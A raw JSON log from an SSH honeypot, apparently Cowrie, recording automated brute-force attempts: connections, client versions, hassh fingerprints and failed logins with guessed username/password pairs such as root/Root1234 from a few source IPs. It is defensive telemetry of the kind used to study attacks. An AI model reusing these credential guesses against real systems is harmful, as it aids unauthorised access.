{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:48.564634Z","src_ip":"103.15.222.183","session":"ca01ae36a426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:49.009491Z","src_ip":"91.92.40.36","session":"2d27e3e29241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07101983","message":"login attempt [root/07101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:49.328634Z","src_ip":"103.15.222.183","session":"ca01ae36a426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60358,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c545cba30db","protocol":"ssh","message":"New connection: 91.92.40.36:60358 (10.17.0.5:22) [session: 5c545cba30db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:50.056137Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:50.581196Z","src_ip":"103.15.222.183","session":"ca01ae36a426","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:50.722170Z","src_ip":"91.92.40.36","session":"5c545cba30db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:50.726391Z","src_ip":"91.92.40.36","session":"5c545cba30db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celeste","password":"celeste","message":"login attempt [celeste/celeste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:55.309021Z","src_ip":"91.92.40.36","session":"5c545cba30db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36680,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aa97685cd53","protocol":"ssh","message":"New connection: 91.92.40.36:36680 (10.17.0.5:22) [session: 6aa97685cd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:55.691511Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":36918,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5aa6d83aa0f","protocol":"ssh","message":"New connection: 45.123.217.22:36918 (10.17.0.5:22) [session: f5aa6d83aa0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:56.586131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:56.590598Z","src_ip":"45.123.217.22","session":"f5aa6d83aa0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:56.819714Z","src_ip":"45.123.217.22","session":"f5aa6d83aa0f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:57.073216Z","src_ip":"91.92.40.36","session":"6aa97685cd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:57.076643Z","src_ip":"91.92.40.36","session":"6aa97685cd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"2024","message":"login attempt [test/2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:57.764943Z","src_ip":"45.123.217.22","session":"f5aa6d83aa0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:57.973053Z","src_ip":"91.92.40.36","session":"5c545cba30db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:58.998904Z","src_ip":"45.123.217.22","session":"f5aa6d83aa0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36784,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e35fae49f7","protocol":"ssh","message":"New connection: 91.92.40.36:36784 (10.17.0.5:22) [session: b2e35fae49f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:02.381636Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"12345678","message":"login attempt [ftpuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:02.414177Z","src_ip":"91.92.40.36","session":"6aa97685cd53","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:03.639659Z","src_ip":"91.92.40.36","session":"b2e35fae49f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:03.643028Z","src_ip":"91.92.40.36","session":"b2e35fae49f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:05.344702Z","src_ip":"91.92.40.36","session":"6aa97685cd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":34362,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad3fa6a21827","protocol":"ssh","message":"New connection: 129.146.243.24:34362 (159.203.135.109:22) [session: ad3fa6a21827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:08.282113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:08.297531Z","src_ip":"129.146.243.24","session":"ad3fa6a21827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:08.399516Z","src_ip":"129.146.243.24","session":"ad3fa6a21827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35152,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea10e599b2d3","protocol":"ssh","message":"New connection: 91.92.40.36:35152 (10.17.0.5:22) [session: ea10e599b2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:08.419663Z"}
{"eventid":"cowrie.login.failed","username":"file1","password":"file1","message":"login attempt [file1/file1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:09.088427Z","src_ip":"129.146.243.24","session":"ad3fa6a21827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:10.186962Z","src_ip":"129.146.243.24","session":"ad3fa6a21827","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:10.195050Z","src_ip":"91.92.40.36","session":"ea10e599b2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:10.197950Z","src_ip":"91.92.40.36","session":"ea10e599b2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234","message":"login attempt [root/Root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:10.825141Z","src_ip":"91.92.40.36","session":"b2e35fae49f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:14.460041Z","src_ip":"91.92.40.36","session":"b2e35fae49f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35234,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c8c2cbd5d3","protocol":"ssh","message":"New connection: 91.92.40.36:35234 (10.17.0.5:22) [session: 38c8c2cbd5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:14.830501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:18.069145Z","src_ip":"91.92.40.36","session":"38c8c2cbd5d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:18.072916Z","src_ip":"91.92.40.36","session":"38c8c2cbd5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64128,"dst_ip":"10.17.0.5","dst_port":22,"session":"d63ec610c419","protocol":"ssh","message":"New connection: 91.92.40.36:64128 (10.17.0.5:22) [session: d63ec610c419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:19.708047Z"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:21.820136Z","src_ip":"91.92.40.36","session":"ea10e599b2d3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:23.242962Z","src_ip":"91.92.40.36","session":"d63ec610c419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:23.246708Z","src_ip":"91.92.40.36","session":"d63ec610c419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:17:25.418238Z","src_ip":"91.92.40.36","session":"ea10e599b2d3","protocol":"ssh"}
